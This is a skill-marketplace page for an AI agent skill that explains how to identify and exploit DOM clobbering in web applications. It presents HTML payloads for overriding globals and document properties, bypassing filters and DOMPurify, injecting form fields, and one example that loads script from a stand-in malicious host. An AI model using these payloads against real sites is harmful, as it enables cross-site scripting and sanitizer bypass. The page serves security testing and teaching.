# Dom Clobbering

> How to identify and exploit DOM Clobbering vulnerabilities in web applications. Use this skill whenever the user mentions DOM clobbering, ID/name attribute injection, global variable override, document.cookie manipulation, or any XSS technique involving HTML element attributes that can override JavaScript variables. Make sure to use this skill for any web security testing involving DOM-based vulnerabilities, especially when filters might be bypassable through attribute manipulation.

- Skill: `abelrguezr/dom-clobbering` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/dom-clobbering`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/dom-clobbering/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/dom-clobbering

---


# DOM Clobbering

DOM Clobbering is a technique where HTML elements with `id` and `name` attributes can override JavaScript global variables in the document context, potentially leading to security vulnerabilities.

## Core Concept

When you add HTML elements with specific `id` or `name` attributes, they create global variables in the JavaScript context that can override existing variables or properties.

### Basic Clobbering

```html
<form id="x"></form>
<script>
  console.log(typeof document.x) // [object HTMLFormElement]
</script>
```

**Elements that can clobber globals with `name` attribute:**
- `embed`, `form`, `iframe`, `image`, `img`, `object`

**Controlling string values with anchor tags:**

```html
<a href="controlled string" id="x"></a>
<script>
  console.log(x) // "controlled string"
</script>
```

## Advanced Techniques

### Array and Object Attribute Clobbering

```html
<a id="x">
  <a id="x" name="y" href="controlled">
    <script>
      console.log(x[1]) // "controlled"
      console.log(x.y) // "controlled"
    </script>
  </a>
</a>
```

### Deep Attribute Clobbering (3+ levels)

```html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
  alert(x.y.z.value) // "controlled"
</script>
```

### Iframe-Based Deep Clobbering

```html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
  @import "https://google.com";
</style>
<script>
  alert(x.y) // "controlled"
</script>
```

> **Note:** The style tag gives the iframe time to render. Without it, you may get `undefined`.

### Multi-Level Iframe Clobbering

```html
<iframe
  name="a"
  srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d name=e href=controlled><a id=d> name=d>' name=b>" 
></iframe>
<style>
  @import "https://google.com";
</style>
<script>
  alert(a.b.c.d.e) // "controlled"
</script>
```

## Filter Bypassing

If a filter loops through node properties using `document.getElementById('x').attributes`, you can clobber the `.attributes` property itself:

```html
<form id="x"></form>
<form id="y">
  <input name="nodeName" />
</form>
<script>
  console.log(document.getElementById("x").nodeName) // "FORM"
  console.log(document.getElementById("y").nodeName) // "[object HTMLInputElement]"
</script>
```

**Clobberable DOM properties:**
- `attributes`, `tagName`, `nodeName`, `parentNode`, and more

## Clobbering Window Objects

Common JavaScript pattern:
```javascript
var someObject = window.someObject || {}
```

**Exploit:**
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```

**Vulnerable code example:**
```html
<script>
  window.onload = function () {
    let someObject = window.someObject || {}
    let script = document.createElement("script")
    script.src = someObject.url
    document.body.appendChild(script)
  }
</script>
```

### DOMPurify Bypass with cid: Protocol

```html
<a id=defaultAvatar>
  <a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">
</a>
```

The `cid:` protocol doesn't URL-encode double-quotes, allowing runtime decoding to escape attributes.

### Form Attribute Clobbering

```html
<form name="cookie"><input id="toString"></form>
```

This overwrites the `attributes` property, preventing sanitizers from accessing actual attributes.

## Document Object Clobbering

You can overwrite `document.cookie`, `document.body`, `document.children`, and even `document.querySelector`:

```javascript
// Basic cookie clobbering
document.write("<img name=cookie />")

// Check the result
document.cookie // <img name="cookie">
typeof(document.cookie) // "object"

// More sanitizer-friendly approach
document.write("<form name=cookie><input id=toString></form>")
```

## Writing After Clobbered Elements

### Using HTML Tag

```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
  <html id="cdnDomain" class="x">
    clobbered
  </html>
  <script>
    alert(document.getElementById("cdnDomain").innerText) // "clobbered"
    alert(document.querySelector(".x").innerText) // "clobbered"
  </script>
</p>
```

### Using CSS to Hide Interference

```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
  clobbered
</html>
<style>
  p { display: none; }
</style>
<script>
  alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>
```

### Using SVG Body Tag

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
  <body id="cdnDomain">
    clobbered
  </body>
</svg>
<script>
  alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>
```

### Using SVG ForeignObject

```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
  <foreignobject>
    <html id="cdnDomain">
      clobbered
    </html>
  </foreignobject>
</svg>
<script>
  alert(document.getElementById("cdnDomain").innerText) // "clobbered"
</script>
```

## Form Clobbering

Add new entries to forms using the `form` attribute:

```html
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
  Click to send!
</button>
```

**Button attributes for form manipulation:**
- `form`, `formaction`, `formmethod`, `formtarget`, `formnovalidate`, `formenctype`

## Testing Checklist

1. **Identify clobberable variables** - Look for JavaScript that uses `window.variable` or `document.variable`
2. **Check for filter bypasses** - Test if `.attributes`, `.nodeName`, etc. can be clobbered
3. **Test document properties** - Try clobbering `document.cookie`, `document.body`, etc.
4. **Test form submissions** - Check if form attributes can be manipulated
5. **Test with sanitizers** - Try bypassing DOMPurify and similar libraries

## References

- [PortSwigger: Hijacking Service Workers via DOM Clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
- [PortSwigger: DOM Clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
- Heyes, Gareth. *JavaScript for hackers: Learn to think like a hacker*.

## Quick Payloads

```html
<!-- Basic variable clobbering -->
<a id="targetVar" href="malicious-value"></a>

<!-- Cookie clobbering -->
<form name="cookie"><input id="toString"></form>

<!-- Filter bypass -->
<form id="x"><input name="attributes"></form>

<!-- Array clobbering -->
<a id="arr"><a id="arr" name="0" href="value"></a></a>

<!-- Deep clobbering -->
<form id="a" name="b"><input id="c" value="x"></form>
<form id="a"></form>
```

